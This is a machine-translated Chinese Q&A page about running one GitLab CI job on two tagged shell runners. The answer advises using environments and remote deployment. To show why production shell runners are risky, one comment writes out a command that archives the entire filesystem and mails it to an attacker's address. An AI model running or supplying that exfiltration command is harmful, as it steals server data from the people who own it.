Gitlab-Runner:与多个跑步者一起运行同一个作业

Posted

技术标签:

【中文标题】Gitlab-Runner:与多个跑步者一起运行同一个作业【英文标题】:Gitlab-Runner: Run the same job with multiple runners 【发布时间】:2022-01-13 09:58:58 【问题描述】:

我在两个不同的服务器上设置了两个标准的 shell gitlab 运行器,我们称它们为 A 和 B。 标签设置为A:“a-deploy”和B:“b-deploy”。

所以每次我使用 gitlab-ci.yml 推送一个项目,其中指定了 both 标签,我希望 both 运行器在他们自己的服务器上运行该作业。 我的猜测是只有 一个 的跑步者能胜任这项工作。

这可能吗?我怎样才能做到这一点? 还是以某种方式开箱即用?

【问题讨论】:

【参考方案1】:

在不同服务器上使用不同的运行器,您正在尝试找到Environments 的功能。

不要依赖跑步者居住的事实。在生产服务器上拥有一个 shell runner 也不好。在完全不相关的项目中用两行代码窃取你所有的产品是可能的。

相反,配置 Gitlab 运行程序对部署服务器的远程访问并自动执行远程部署。

作为起点,您可以通过环境变量设置地址和凭据。 您可以将 ssh 密钥放入文件变量。虽然有一些编排系统会更好。

然后您可以定义一个作业模板和两个作业,每个作业都指向自己的环境。使用rules:,您可以控制何时执行特定作业。

【讨论】:

怎么可能窃取我的作品?你是说代码吗?因为我在服务器上没有相关数据。我会研究环境,谢谢。 创建个人项目,内容无所谓。添加标签与您的生产相同的作业。插入脚本: sh -c 'tar czf prod.tar.gz / >/dev/null 2>&1; mailx -s“tverdo 生产数据”-a prod.tar.gz iamhacker@gmail.com'。放弃项目。 YMMV。

以上是关于Gitlab-Runner:与多个跑步者一起运行同一个作业的主要内容,如果未能解决你的问题,请参考以下文章

WIndows Gitlab-runner:无法重新排队跑步者

gitlab-runner x509:由未知权威签署的证书

Gitlab runner 无法启动。这项工作被卡住了,因为您没有任何在线活跃的跑步者,并且这些跑步者被分配给他们:ios

另一台服务器上的Gitlab-runner

为 gitlab 配置 ssh 运行程序 ssh denied

这项工作被卡住了,因为该项目没有在线分配任何跑步者。进入跑步者页面